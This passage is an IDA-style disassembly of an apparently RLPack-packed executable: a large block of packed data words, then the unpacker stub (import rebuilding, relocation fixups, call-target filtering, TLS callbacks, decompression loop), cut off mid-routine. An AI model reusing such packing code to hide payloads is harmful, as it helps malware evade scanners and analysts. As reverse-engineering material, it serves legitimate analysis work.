		dd 97DCBE55h, 0FD51FC09h, 3A2F2CC8h, 0C96454D0h, 0D27C9A2Fh
		dd 62C14C75h, 13B56710h, 0AF52ADB9h, 3034B6A8h,	42486E8Dh
		dd 0B4A8A4ECh, 46A73BF5h, 0E11E44Ch, 0C8614FB9h, 223A2973h
		dd 67E76F0Bh, 92DAD8BAh, 38B85F34h, 0B4911BE9h,	8D47483Eh
		dd 8A907D42h, 1C2F2EFDh, 0FE98946h, 0DE109048h,	1A7068DAh
		dd 9F871690h, 51886128h, 203E3A29h, 1ABD8946h, 0F59F9548h
		dd 452900C2h, 747A18h, 0B4551429h, 92877A89h, 7BB5F8A2h
		dd 0A444D114h, 0EEB4228Bh, 5B24C510h, 79613481h, 6D3B1D4Ah
		dd 29B9FC5Dh, 2464E429h, 444521AEh, 0A567736Eh,	57E253E5h
		dd 34855096h, 1B446679h, 6389D8A8h, 34A3915Eh, 13243A5Ah
		dd 78BEBC34h, 0E2D54188h, 0D42EAD57h, 0A47CCB67h, 0D9254879h
		dd 453892Fh, 0C93DBE18h, 0A5DFDD2Eh, 49B6C647h,	6FC55961h
		dd 2D587566h, 298E5479h, 0FECD2E15h, 17478E4Ah,	1AB0394Ah
		dd 5674978Ch, 992F6029h, 2E3D1D3Ch, 0F11797C4h,	48AF74B1h
		dd 66697348h, 3F2325E5h, 9032A069h, 0D34847BBh,	0CD1BCFA5h
		dd 4AD88B4Eh, 0CD4ED9CFh, 0D4243BB2h, 0D0925729h, 28382444h
		dd 6D5C2811h, 43498144h, 4232504Dh, 61D0214Fh, 0ABA95476h
		dd 0D8A80635h, 0BF00A2F4h, 2EA44C42h, 0F31D69D1h, 3E70C51Eh
		dd 96324CCEh, 0D02A7884h, 4EEC604Ch, 6459E5B6h,	272B2C23h
		dd 6ACF3C5Fh, 6F4A1448h, 365C688Bh, 0BC6C10B2h,	4B348733h
		dd 4F7492C1h, 0E4F8E534h, 4E61E677h, 5B1CCF77h,	0C0F2C834h
		dd 12DE6BBCh, 444873A7h, 91748A73h, 684BE33Ch, 7D347865h
		dd 0FCD24E1Bh, 0CAE824EFh, 4A694D00h, 341B72B1h, 259E53CAh
		dd 0C434267Ch, 0F19379CAh, 0F13815D8h, 0F9486CADh, 5ACC8D3Bh
		dd 80DF93AEh, 0D7C784D3h, 3824F8F9h, 1C521A2Fh,	0DC749EE4h
		dd 0D34C51D4h, 2BDC21B3h, 0C9B6546Ch, 8D544021h, 69332370h
		dd 70A2FC9Ch, 431391C7h, 0BC926EEDh, 10A2D752h,	82C39B4h
		dd 7C9B6424h, 122F4D51h, 9678A3E6h, 0E59628A9h,	8F240FB3h
		dd 0C43DDA6Ch, 0E3EE9D1Fh, 47C4B8A7h, 0F8A534BFh, 0EC29BDE4h
		dd 9468ACB4h, 45B8923Fh, 0BD587226h, 0A75A3AD3h, 602E29B6h
		dd 0AE2C7A76h, 0A540ADBFh, 0B7D14809h, 25A8B749h, 2EC19A62h
		dd 0A3394D67h, 41D1B00Eh, 1EDF892Fh, 101702Bh, 49544341h
		dd 21BD4E4Fh, 82D48F4Bh, 706C6379h, 41501264h, 0B488E752h
		dd 0B61152AFh, 562BDA81h, 714F53D4h, 2DF9B0A2h,	8F3EF979h
		dd 75DE92B0h, 649753A8h
		dd 0D04B9FBFh, 838D184Bh, 2CF2E00Eh, 89DE876Ah,	87759E25h
		dd 0E9DC5A3Ch, 553E42ADh, 3C1D6A3Ah, 0CCFDB7A5h, 29A37632h
		dd 0BB622487h, 43D4D410h, 0EDA34B08h, 56630C44h, 18490879h
		dd 0FE481443h, 64490846h, 70113C43h, 0A4269E6Dh, 9E4015CEh
		dd 0B9936891h, 2C18900Dh, 0A0B7A86Dh, 0C136465h, 0A4E43D5Eh
		dd 32C08A3h, 701714A1h,	0D6206711h, 7689A625h, 3E1024A1h
		dd 86E7014h, 1C09299Ah,	68C86FDCh, 8BA7347h, 26AB74C5h
		dd 1A5318Bh, 0E60C6B14h, 98348E79h, 57088CCFh, 70111477h
		dd 89249E74h, 6A1514A3h, 64C49208h, 0E9981467h,	29CA91D2h
		dd 762A0470h, 38084DE1h, 75199966h, 70940447h, 0AE136524h
		dd 2D04CE10h, 0C9BCCD63h, 0BAB5103Eh, 7A3065AEh, 91D4D8DCh
		dd 2C422F12h, 0BF34B467h, 0B8E550B3h, 0F2F7D27Bh, 997DB292h
		dd 8B546694h, 7FAC14D4h, 0D2CAE9D6h, 724AD3B6h,	50B52E5Bh
		dd 0DC52DE21h, 94E5E9A5h, 8D4C36D2h, 0B67517DEh, 6D7A65D2h
		dd 0D72839AFh, 0D1DBADBDh, 7DF9D344h, 4F447629h, 2254B7F7h
		dd 48A0A642h, 284CA753h, 0DB577038h, 0B0C4156Ah, 662E6C0Eh
		dd 0C23C2BEh, 216A2DAFh, 1AD86A2Fh, 74A8676Fh, 0FC6365ABh
		dd 9DF8E505h, 453C10D8h, 797428C2h, 7B14FE3Eh, 9B8A5E5Fh
		dd 0C55C0F26h, 0CA3A8477h, 19DD410Ch, 64496908h, 0E8A87718h
		dd 84D46C48h, 250C742Bh, 5C723C79h, 9134FD70h, 70EFD7A9h
		dd 0C180BFF9h, 0D30510A0h, 3E002D09h, 0A846EC3Eh, 40AB77ACh
		dd 315F89D5h, 0C874EFE0h, 34889B97h, 0BC213310h, 0CCFC932Ch
		dd 812E8DAh, 80878114h,	57AF53E4h, 0FDAF16D9h, 929AD3BFh
		dd 29B43443h, 31AA7524h, 178A2F0Fh, 0A8D38F6Fh,	762ECB4Eh
		dd 5E2A59ACh, 8453927Ch, 536C4F28h, 0FFB48679h,	447F5C24h
		dd 0E11E845Ah, 0A4366EB4h, 0F5C3E324h, 54771917h, 0BD5C45D9h
		dd 467814D3h, 0F3C65A69h, 0AB66797Eh, 1437C50Ch, 1414E08Dh
		dd 0E763F48Ch, 0C46E072h, 3E00B14Ah, 1077B517h,	269A51FFh
		dd 61670451h, 0F8C908DAh, 0C38BB750h, 6C53889Ch, 0F652920Ch
		dd 0AC72E828h, 1B1AB508h, 0CEFE7C7Eh, 0A5B7624Eh, 0F6243E95h
		dd 52A2ECF6h, 0A11B26AAh, 4B644829h, 0FA77CF07h, 6269E5ACh
		dd 73316408h, 28D63AC2h, 71450C48h, 12EB1435h, 231C8A42h
		dd 9365AD64h, 535432A5h, 17659564h, 473159Ch, 8B169E6Fh
		dd 929DA24h, 63389B0Ch,	706F5011h, 0D53F6984h, 0C2B4997Dh
		dd 38270C93h, 0A51F0B6Ch, 2D352E3Dh, 2AE9E067h,	127AE4F3h
		dd 2394510Fh, 0B058C954h, 0A0947B8Ch, 549B1FA2h, 50992A22h
		dd 14A50D48h, 53F5E360h, 844B5826h, 9AECA982h, 0AD71F9B7h
		dd 41BF1D50h, 262C7381h, 136E6571h, 4C28F96Ch, 93C2F970h
		dd 746E380Ch, 0F31387EEh, 9824B45Ch, 2AD35CF9h,	9CDB4ABCh
		dd 23103068h, 90C72525h, 842F794Dh, 0B94874B2h,	4EE8918Ah
		dd 419A80CBh, 0CB2D0C08h, 543C60AAh, 0E18C9C9Fh, 5B1D0C49h
		dd 5C467C67h, 0C24C3997h, 30140C92h, 30A328B9h,	17CB7964h
		dd 352DA770h, 54906C53h, 94E46357h, 9C2D91A0h, 734C7CFAh
		dd 68A3A41Ch, 19DA5891h, 0C653C0F4h, 0A52A9118h, 0B84CCC42h
		dd 5E7313CBh, 0C238CD28h, 0C2A5DCC5h, 2BDC6CC3h, 3E083164h
		dd 0FB7224D0h, 6412961Dh, 36C11399h, 11293599h,	0E9C1FE24h
		dd 0EE084528h, 85102436h, 8D39B424h, 0A075E1F5h, 0DD94083Bh
		dd 6425143Eh, 0ED2D2704h, 38596D80h, 2DFAE5C9h,	0E86A2EF7h
		dd 5BFDA65Fh, 964976A3h, 7CED5859h, 75D79EDEh, 796248C1h
		dd 0EA04CEA5h, 57B85A21h, 0ADF94832h, 5F50010Fh, 0C515479Bh
		dd 0D15F1F5h, 0FE48CCF3h, 294A6A8Bh, 9D413FBBh,	3C76A3D1h
		dd 52825647h, 238C5453h, 1156383Fh, 6CBFBD7Eh, 47C77015h
		dd 4159F298h, 0F6A627A0h, 0C617CA81h, 808FC72Eh, 5B5E4327h
		dd 2CFDF044h, 0B5E2E6FDh, 4A8EF370h, 927E2A81h,	0C7143359h
		dd 1349FA78h, 94652E27h, 0E957BDAh, 0B2523533h,	25984268h
		dd 25A95B3Ah, 0A88F3C52h, 8D4E44A5h, 7C876888h,	91D24BE0h
		dd 19A68CA9h, 3FD13451h, 517718A2h, 8E9AD830h, 0BC400935h
		dd 0B4904F4Ah, 8F844795h, 47EA4F50h, 0EECFCA0Dh, 609210Dh
		dd 4CB50887h, 0E3295A67h, 0B4439CCh, 5C677562h,	0E9845BC9h
		dd 6235FD38h, 0A1F297Fh, 2FA7F52Ch, 7E5C5E68h, 0DB353ABFh
		dd 3A06326Dh, 1CAC4071h, 73B0DEA7h, 0F68DDEF2h,	63D46B93h
		dd 4CCC0173h, 0BAB47D29h, 0DF19AC60h, 0A528BC40h, 5B1044DBh
		dd 5D067C32h, 1CDC09AEh, 30287239h, 894490C9h, 14E5539h
		dd 3450535Bh, 0D41996C3h, 0A9725410h, 99C3208h,	0C543931h
		dd 1049D930h, 0EB338932h, 9A04FD02h, 315B44F9h,	0EAE86FEh
		dd 0E73801Fh, 0F9E24345h, 0C8B1183Ch, 9C6A0C2Dh, 0C303C097h
		dd 0FC783040h, 0F064DDEFh, 963EB08h, 0FB8D340Ah, 3C0C3F7Ch
		dd 0B03D019h, 7848D4CAh, 207D41FAh, 590EDA7Dh, 47FF331Ch
		dd 271C57F6h, 8110090Ch, 3210A79h, 0F9027541h, 3168933h
		dd 0C1D9F074h, 0C0833B17h, 0CCC3CD04h, 743AF685h, 0EFF3ADBh
		dd 41F203D7h, 12E857FAh, 0E84AD1BEh, 10435E7Fh,	9C692D20h
		dd 0C1A989AEh, 17E8C06Ah, 17533C3h, 113DC7C3h, 21071002h
		dd 50ED840Fh, 5B58C3A6h, 83505D05h, 9F0054ECh, 488DFC8Bh
		dd 0D7EA40h, 44B0AAF3h,	515257ABh, 28726AE2h, 550C0160h
		dd 2D6FF53h, 8554C483h,	0AC4DC3C0h, 0B65DCC27h,	0A95772CFh
		dd 9213D8B4h, 0C9D1B44Ah, 5EA593F3h, 0F3D3CEE6h, 9D8C4C7Fh
		dd 0A37AE567h, 6E7BA417h, 8CA83F0Ah, 73089875h,	90EF3188h
		dd 44853B4h, 421B3F13h,	199305A4h, 0E8B4C57Fh, 84A7001h
		dd 0C6F04148h, 6510A350h, 30100940h, 4220A818h,	1CC004A9h
		dd 6701A6FFh, 0AF139F0h, 55555501h, 331C7225h, 141001E0h
		dd 0A438190Eh, 111D0C41h, 121A8934h, 481B2430h,	221F9128h
		dd 18134420h, 10122189h, 8480E24h, 89700D91h, 57F8120Fh
		dd 91F080B1h, 0E8220511h, 89E41E44h, 24E01212h,	91DC4820h
		dd 44D4220Ch, 1589CC0Bh, 1C24C412h, 1991BC48h, 1144B422h
		dd 121889ACh, 481624A4h, 2217919Ch, 90224494h, 8C122389h
		dd 88482424h, 0F00E01A1h, 0F8C4107Fh, 9AEF62FFh, 0BEEEFF10h
		dd 10088056h, 12B4410h,	0A301014h, 44171FDh, 72063E5Eh
		dd 5CB04849h, 4A8413Fh,	2D1A0920h, 3215D0Dh, 8C422E04h
		dd 23A5135h, 0FD1628F2h, 8248F30Ah, 84903D10h, 29221ABDh
		dd 1640281h, 0E240D02Fh, 42029682h, 3C18FD02h, 5568B120h
		dd 7054447Ah, 695C992Eh, 0C4E8876h, 2102210Ah, 0A40C0804h
		dd 39600803h, 21297982h, 0DFA68A20h, 0A5A14208h, 219F8130h
		dd 4004FCE0h, 0A833807Eh, 0A3C1610Eh, 5C6A52DAh, 8AFE8111h
		dd 0B5650840h, 41C8302Eh, 0CF43B6E4h, 0C395E4A2h, 0E8B3E508h
		dd 60B55BC2h, 0AA17E0Ah, 905518Ch, 0CE5E72DAh, 6ACF5FC0h
		dd 45C3208h, 0E0DED8D3h, 7E3105F9h, 295F3A26h, 991C0BC0h
		dd 1C04191Dh, 8D918796h, 8E900823h, 431E8FF2h, 7991C890h
		dd 93210F92h, 5DA5D7E8h, 90ACC26h, 88028C44h, 0B8B0A784h
		dd 91582081h, 2C220911h, 0E2082081h, 0DC2EC8ECh, 17EF80A6h
		dd 0C488C063h, 5C3C08A3h, 248F905Dh, 0FCA86117h, 0CF3828A5h
		dd 8C8F11C4h, 64C86317h, 44781122h, 44897954h, 34247A12h
		dd 3091FC48h, 2044FF22h, 0BB4BF880h, 111327Dh, 48E51E75h
		dd 15B9B410h, 0A49EAFBCh
		dd 9E742090h, 0A7F5710h, 69092694h, 0FC0185A2h,	0A635A4E1h
		dd 4044A817h, 8C03935Fh, 0BCBA8129h, 8811870h, 299DA2Ch
		dd 2688377Fh, 3797416h,	8904084Ch, 4EF06618h, 0D2BF2424h
		dd 84CE0944h, 78440C53h, 67F114A6h, 74072998h, 16141CA3h
		dd 2908D03Ch, 1094580Fh, 9411C814h, 18D00412h, 35942123h
		dd 0E441C810h, 99507243h, 184C5234h, 5308A653h,	59296057h
		dd 186C947Ch, 0E4E46DCAh, 951C4870h, 6CAAC72h, 72806530h
		dd 89981B4h, 83204C82h,	4884538Eh, 29449122h, 5710A69Eh
		dd 0A42990A1h, 0CAA79170h, 0CEE5A0B7h, 38D72032h, 0C930718h
		dd 30708009h, 90F1F06Ch, 53501284h, 0C5EC7E54h,	407E4450h
		dd 424A8482h, 84AECE3h,	10BD02Dh, 0C901043h, 3B441E22h
		dd 7809C85Ah, 0B5229791h, 89F3D444h, 30D55311h,	454E0922h
		dd 3A34186Dh, 77929493h, 0B4C11CCDh, 0F226D312h, 51106609h
		dd 4D44092Fh, 0F809946Ch, 404202A0h, 2805C8C5h,	842FA0Ch
		dd 0C9C48DEh, 42C35058h, 0F424C20Fh, 80081412h,	50169896h
		dd 0BE23BC20h, 0BF040019h, 348E1BC9h, 0EDA10F84h, 0C263CECCh
		dd 20E04ED3h, 0B5009EF0h, 0ADA82B70h, 0F8699DC5h, 0FD5D00D0h
		dd 8E1AE525h, 0EB3E194Fh, 96710083h, 0E4395D7h,	298D0F05h
		dd 0F9809EAFh, 0ED44A0BFh, 8F12811Ch, 9EB982CFh, 0A6D53CC0h
		dd 3749FFCFh, 0C07A781Fh, 8CE0C66Fh, 0C980E900h, 0A893BA47h
		dd 85BC0041h, 3927556Bh, 700FF78Dh, 80427CE0h, 0F9DE8EDDh
		dd 0EBFB009Dh, 4351AA7Eh, 7600E6A1h, 29F2CCE3h,	81842Fh
		dd 10284426h, 0AEF8AA17h, 0C51FE3EAh, 0EB01FAC4h, 0F7F3D4A7h
		dd 4AE1D4h, 45CF957Ah, 91C7CC65h, 0AEA60E00h, 0A3E319A0h
		dd 70D7D46h, 81750C17h,	0C9763086h, 58004D48h, 93A7E442h
		dd 0F353B39h, 53EDB2B8h, 5DE583BEh, 0D09FC53Dh,	5A929E8Bh
		dd 0A600FF7Ah, 0C020A1F0h, 38CA554h, 0FDD16137h, 0D8905A8Bh
		dd 89005D25h, 0AA67DBF9h, 0FF3F895h, 0C8A2BF27h, 6E80DDA0h
		dd 9B00C94Ch, 28A2097h,	29C46052h, 0DFB7525h, 804CCCDh
		dd 3F01FB01h, 0D70A3D71h, 54370A3h, 645AE0F8h, 4FDF003Bh
		dd 126E978Dh, 0C3F8F583h, 652CD300h, 1758E219h,	0F1D13EB7h
		dd 230FD001h, 0C81B4784h, 0A73EC5ACh, 0A64000EEh, 0AF6C69B6h
		dd 37BD0F05h, 3380EB86h, 7A42BC3Dh, 94D5E503h, 0E1E7D6BFh
		dd 0CEC4FDC2h, 11840361h, 0E4ABCC77h, 5B4C2FE0h, 0C44DE100h
		dd 0E69594BEh, 0F092F8C9h, 753B0753h, 0E314CD44h, 0DEE0AF9Ah
		dd 9401BA67h, 1EAD4539h, 0E0DFCFB1h, 3FC62324h,	3B83BCE2h
		dd 7A8B6131h, 595540E7h, 0B1037EC1h, 0BB127C53h, 0EED7E05Fh
		dd 68D002Fh, 158592BEh,	48DF44FBh, 39E9A587h, 7FEA2730h
		dd 2A7CA8h, 0E4A1AC7Dh,	467C64BCh, 55DDD000h, 67B633Eh
		dd 542300CCh, 91FF8377h, 0FAE63D81h, 7A193A00h,	31432563h
		dd 3CAC00C0h, 38D18921h, 97384782h, 0D7FD00B8h,	5888DC3Bh
		dd 0B11B0108h, 0A686E3E8h, 84C6F003h, 7424500h,	377599B6h
		dd 3A2E01DBh, 0D21C7133h, 0EE32E023h, 5A904900h, 0BE87A639h
		dd 0DA570FC0h, 0A20082A5h, 68E232B5h, 0A711B200h, 59449F52h
		dd 2C1000B7h, 2DE44925h, 4F073436h, 6BCEAE53h, 4598FB0h
		dd 0DEC000A4h, 0E8FB7DC2h, 9E001EC6h, 575A88E7h, 0BF3C91h
		dd 18228350h, 62654B4Eh, 8F03FD78h, 7D9406AFh, 0DE5C0011h
		dd 0C8D2CE9Fh, 0A605DD04h, 0A9280AD8h, 2E1E54F3h, 6556053Fh
		dd 0CE56BB78h, 403866E8h, 1618A7F0h, 314BBA6Ch,	4031F45Fh
		dd 64747340h, 20293DDCh, 1D2A5EEBh, 0D2661C5Fh,	0C451AE72h
		dd 0F3409021h, 74321565h, 6CB44168h, 58B57444h,	0F55F5E4Ah
		dd 153AAF1Ah, 550121E8h, 0F3h, 27000000h, 9CE00170h, 88DC09C8h
		dd 33110221h, 18F9022h,	0CCD7h
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		call	$+5
		mov	ebp, [esp+24h+var_24]
		add	esp, 4
		cmp	[esp+20h+arg_4], 1
		jnz	short loc_4CE42A
		mov	eax, [esp+20h+arg_0]
		mov	[ebp+43Ch], eax
		jmp	short loc_4CE436
; ---------------------------------------------------------------------------


loc_4CE42A:				; CODE XREF: start+11j
		mov	eax, [ebp+438h]
		mov	[ebp+43Ch], eax


loc_4CE436:				; CODE XREF: start+1Dj
		lea	esi, [ebp+460h]
		lea	ebx, [ebp+2EBh]
		xor	edi, edi
		call	sub_4CE59B
		jmp	short loc_4CE466
; ---------------------------------------------------------------------------


loc_4CE44B:				; CODE XREF: start+5Fj
		mov	eax, [ebp+43Ch]
		push	dword ptr [edi+esi+4]
		add	[esp+24h+var_24], eax
		push	dword ptr [edi+esi]
		add	[esp+28h+var_28], eax
		call	ebx	; WideCharToMultiByte
		add	esp, 8
		add	edi, 8


loc_4CE466:				; CODE XREF: start+3Ej
		cmp	dword ptr [edi+esi], 0
		jnz	short loc_4CE44B
		cmp	dword ptr [ebp+448h], 0
		jz	short loc_4CE483
		cmp	dword ptr [ebp+44Ch], 0
		jz	short loc_4CE483
		call	sub_4CE63B


loc_4CE483:				; CODE XREF: start+68j	start+71j
		lea	esi, [edi+esi+4]
		push	ebx
		push	40h
		push	1000h
		push	677h
		push	0
		call	dword ptr [ebp+3D1h]
		mov	[ebp+45Ch], eax
		pop	ebx
		push	dword ptr [ebp+45Ch]
		push	esi
		call	ebx	; WideCharToMultiByte
		add	esp, 8
		mov	esi, [ebp+45Ch]
		mov	eax, esi
		jmp	short loc_4CE4BA
; ---------------------------------------------------------------------------


loc_4CE4B9:				; CODE XREF: start+B2j
		inc	eax


loc_4CE4BA:				; CODE XREF: start+ACj
		cmp	byte ptr [eax],	1
		jnz	short loc_4CE4B9
		inc	eax
		mov	edi, [eax]
		add	edi, [ebp+43Ch]
		add	eax, 4
		mov	[ebp+458h], eax
		jmp	loc_4CE56A
; ---------------------------------------------------------------------------


loc_4CE4D6:				; CODE XREF: start+162j
		push	esi
		call	dword ptr [ebp+3C9h]
		test	eax, eax
		jz	loc_4CE599
		mov	[ebp+454h], eax
		mov	eax, esi
		jmp	short loc_4CE54A
; ---------------------------------------------------------------------------


loc_4CE4EF:				; CODE XREF: start+13Dj start+142j
		mov	eax, [ebp+458h]
		mov	eax, [eax]
		test	eax, 80000000h
		jz	short loc_4CE512
		xor	eax, 80000000h
		push	eax
		mov	eax, [ebp+458h]
		mov	dword ptr [eax], 202020h
		jmp	short loc_4CE518
; ---------------------------------------------------------------------------


loc_4CE512:				; CODE XREF: start+F1j
		push	dword ptr [ebp+458h]


loc_4CE518:				; CODE XREF: start+105j
		push	dword ptr [ebp+454h]
		call	dword ptr [ebp+3CDh]
		test	eax, eax
		jz	short loc_4CE599
		mov	[edi], eax
		add	edi, 4
		mov	eax, [ebp+458h]
		jmp	short loc_4CE536
; ---------------------------------------------------------------------------


loc_4CE535:				; CODE XREF: start+12Ej
		inc	eax


loc_4CE536:				; CODE XREF: start+128j
		cmp	byte ptr [eax],	0
		jnz	short loc_4CE535
		inc	eax
		mov	[ebp+458h], eax
		cmp	word ptr [eax+2], 8000h
		jz	short loc_4CE4EF


loc_4CE54A:				; CODE XREF: start+E2j
		cmp	byte ptr [eax],	0
		jnz	short loc_4CE4EF
		jmp	short loc_4CE552
; ---------------------------------------------------------------------------


loc_4CE551:				; CODE XREF: start+14Aj
		inc	esi


loc_4CE552:				; CODE XREF: start+144j
		cmp	byte ptr [esi],	0
		jnz	short loc_4CE551
		inc	esi
		inc	eax
		mov	edi, [eax]
		add	edi, [ebp+43Ch]
		add	eax, 4
		mov	[ebp+458h], eax


loc_4CE56A:				; CODE XREF: start+C6j
		cmp	byte ptr [esi],	1
		jnz	loc_4CE4D6
		push	4000h
		push	677h
		push	dword ptr [ebp+45Ch]
		call	dword ptr [ebp+3D5h]
		call	sub_4CE5CB
		call	sub_4CE6B7
		popa
		jmp	sub_410B5C
; ---------------------------------------------------------------------------


loc_4CE599:				; CODE XREF: start+D4j	start+11Bj
		popa
		retn
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_4CE59B	proc near		; CODE XREF: start+39p
		pusha
		mov	eax, [ebp+43Ch]
		add	eax, [eax+3Ch]
		add	ax, [eax+14h]
		add	eax, 18h
		mov	ebx, [eax+0Ch]
		add	ebx, [ebp+43Ch]
		mov	ecx, [eax+8]
		lea	eax, [ebp+434h]
		push	eax
		push	40h
		push	ecx
		push	ebx
		call	dword ptr [ebp+3D9h]
		popa
		retn
sub_4CE59B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4CE5CB	proc near		; CODE XREF: start+17Ep
		pusha
		mov	esi, [ebp+440h]
		or	esi, esi
		jz	short loc_4CE639
		mov	edi, [ebp+438h]
		mov	eax, [ebp+43Ch]
		cmp	eax, edi
		jz	short loc_4CE639
		add	esi, eax
		jmp	short loc_4CE634
; ---------------------------------------------------------------------------


loc_4CE5EA:				; CODE XREF: sub_4CE5CB+6Cj
		mov	edx, [esi]
		mov	eax, [esi+4]
		mov	[ebp+444h], eax
		add	[ebp+444h], esi
		add	esi, 8
		jmp	short loc_4CE62C
; ---------------------------------------------------------------------------


loc_4CE600:				; CODE XREF: sub_4CE5CB+67j
		movzx	eax, word ptr [esi]
		mov	ebx, eax
		shr	ebx, 0Ch
		mov	ecx, ebx
		imul	ebx, 1000h
		sub	eax, ebx
		add	eax, edx
		add	eax, [ebp+43Ch]
		cmp	ecx, 3
		jnz	short loc_4CE629
		sub	[eax], edi
		mov	ecx, [ebp+43Ch]
		add	[eax], ecx


loc_4CE629:				; CODE XREF: sub_4CE5CB+52j
		add	esi, 2


loc_4CE62C:				; CODE XREF: sub_4CE5CB+33j
		cmp	esi, [ebp+444h]
		jb	short loc_4CE600


loc_4CE634:				; CODE XREF: sub_4CE5CB+1Dj
		cmp	dword ptr [esi], 0
		jnz	short loc_4CE5EA


loc_4CE639:				; CODE XREF: sub_4CE5CB+9j
					; sub_4CE5CB+19j
		popa
		retn
sub_4CE5CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4CE63B	proc near		; CODE XREF: start+73p
		pusha
		mov	esi, [ebp+448h]
		add	esi, [ebp+43Ch]
		mov	edi, esi
		mov	ecx, [ebp+44Ch]
		cmp	dword ptr [ebp+450h], 0
		jz	short loc_4CE68D
		jmp	short loc_4CE686
; ---------------------------------------------------------------------------


loc_4CE65B:				; CODE XREF: sub_4CE63B+4Ej
		cmp	byte ptr [esi],	0E8h
		jz	short loc_4CE665
		cmp	byte ptr [esi],	0E9h
		jnz	short loc_4CE684


loc_4CE665:				; CODE XREF: sub_4CE63B+23j
		mov	eax, [esi+1]
		cmp	al, [ebp+450h]
		jnz	short loc_4CE67E
		mov	al, 0
		bswap	eax
		sub	eax, 5
		add	eax, edi
		sub	eax, esi
		mov	[esi+1], eax


loc_4CE67E:				; CODE XREF: sub_4CE63B+33j
		add	esi, 4
		sub	ecx, 4


loc_4CE684:				; CODE XREF: sub_4CE63B+28j
		inc	esi
		dec	ecx


loc_4CE686:				; CODE XREF: sub_4CE63B+1Ej
		cmp	ecx, 0
		ja	short loc_4CE65B
		jmp	short loc_4CE6B5
; ---------------------------------------------------------------------------


loc_4CE68D:				; CODE XREF: sub_4CE63B+1Cj
		cdq
		jmp	short loc_4CE6B0
; ---------------------------------------------------------------------------


loc_4CE690:				; CODE XREF: sub_4CE63B+78j
		inc	edx
		cmp	byte ptr [esi],	0E8h
		jz	short loc_4CE69B
		cmp	byte ptr [esi],	0E9h
		jnz	short loc_4CE6AE


loc_4CE69B:				; CODE XREF: sub_4CE63B+59j
		mov	eax, [esi+1]
		bswap	eax
		sub	eax, edx
		mov	[esi+1], eax
		add	esi, 4
		add	edx, 4
		sub	ecx, 4


loc_4CE6AE:				; CODE XREF: sub_4CE63B+5Ej
		inc	esi
		dec	ecx


loc_4CE6B0:				; CODE XREF: sub_4CE63B+53j
		cmp	ecx, 0
		ja	short loc_4CE690


loc_4CE6B5:				; CODE XREF: sub_4CE63B+50j
		popa
		retn
sub_4CE63B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4CE6B7	proc near		; CODE XREF: start+183p
		pusha
		mov	esi, [ebp+43Ch]
		add	esi, [esi+3Ch]
		mov	esi, [esi+0C0h]
		or	esi, esi
		jz	short loc_4CE6FA
		add	esi, [ebp+43Ch]
		add	esi, 0Ch
		mov	esi, [esi]
		or	esi, esi
		jz	short loc_4CE6FA
		mov	eax, [esi]
		jmp	short loc_4CE6F6
; ---------------------------------------------------------------------------


loc_4CE6DE:				; CODE XREF: sub_4CE6B7+41j
		push	esi
		cmp	dword ptr [eax], 0
		jz	short loc_4CE6F0
		push	0
		push	1
		push	dword ptr [ebp+43Ch]
		call	eax


loc_4CE6F0:				; CODE XREF: sub_4CE6B7+2Bj
		pop	esi
		add	esi, 4
		mov	eax, [esi]


loc_4CE6F6:				; CODE XREF: sub_4CE6B7+25j
		or	eax, eax
		jnz	short loc_4CE6DE


loc_4CE6FA:				; CODE XREF: sub_4CE6B7+12j
					; sub_4CE6B7+21j
		popa
		retn
sub_4CE6B7	endp

; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		mov	edi, [esp+28h]
		cld
		mov	dl, 80h
		xor	ebx, ebx


loc_4CE70A:				; CODE XREF: .RLPack:004CE712j
		movsb
		mov	bl, 2


loc_4CE70D:				; CODE XREF: .RLPack:004CE737j
					; .RLPack:004CE77Dj
		call	sub_4CE77F
		jnb	short loc_4CE70A
		xor	ecx, ecx
		call	sub_4CE77F
		jnb	short loc_4CE739
		xor	eax, eax
		call	sub_4CE77F
		jnb	short loc_4CE749
		mov	bl, 2
		inc	ecx
		mov	al, 10h


loc_4CE72B:				; CODE XREF: .RLPack:004CE732j
		call	sub_4CE77F
		adc	al, al
		jnb	short loc_4CE72B
		jnz	short loc_4CE775
		stosb
		jmp	short loc_4CE70D
; ---------------------------------------------------------------------------


loc_4CE739:				; CODE XREF: .RLPack:004CE71Bj
		call	sub_4CE78B
		sub	ecx, ebx
		jnz	short loc_4CE752
		call	sub_4CE789
		jmp	short loc_4CE771
; ---------------------------------------------------------------------------


loc_4CE749:				; CODE XREF: .RLPack:004CE724j
		lodsb
		shr	eax, 1
		jz	short loc_4CE79B
		adc	ecx, ecx
		jmp	short loc_4CE76E
; ---------------------------------------------------------------------------


loc_4CE752:				; CODE XREF: .RLPack:004CE740j
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		call	sub_4CE789
		cmp	eax, 7D00h
		jnb	short loc_4CE76E
		cmp	ah, 5
		jnb	short loc_4CE76F
		cmp	eax, 7Fh
		ja	short loc_4CE770


loc_4CE76E:				; CODE XREF: .RLPack:004CE750j
					; .RLPack:004CE762j
		inc	ecx


loc_4CE76F:				; CODE XREF: .RLPack:004CE767j
		inc	ecx


loc_4CE770:				; CODE XREF: .RLPack:004CE76Cj
		xchg	eax, ebp


loc_4CE771:				; CODE XREF: .RLPack:004CE747j
		mov	eax, ebp
		mov	bl, 1


loc_4CE775:				; CODE XREF: .RLPack:004CE734j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_4CE70D

; =============== S U B	R O U T	I N E =======================================



sub_4CE77F	proc near		; CODE XREF: .RLPack:loc_4CE70Dp
					; .RLPack:004CE716p ...
		add	dl, dl
		jnz	short locret_4CE788
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_4CE788:				; CODE XREF: sub_4CE77F+2j
		retn
sub_4CE77F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4CE789	proc near		; CODE XREF: .RLPack:004CE742p
					; .RLPack:004CE758p
		xor	ecx, ecx
sub_4CE789	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4CE78B	proc near		; CODE XREF: .RLPack:loc_4CE739p
		inc	ecx


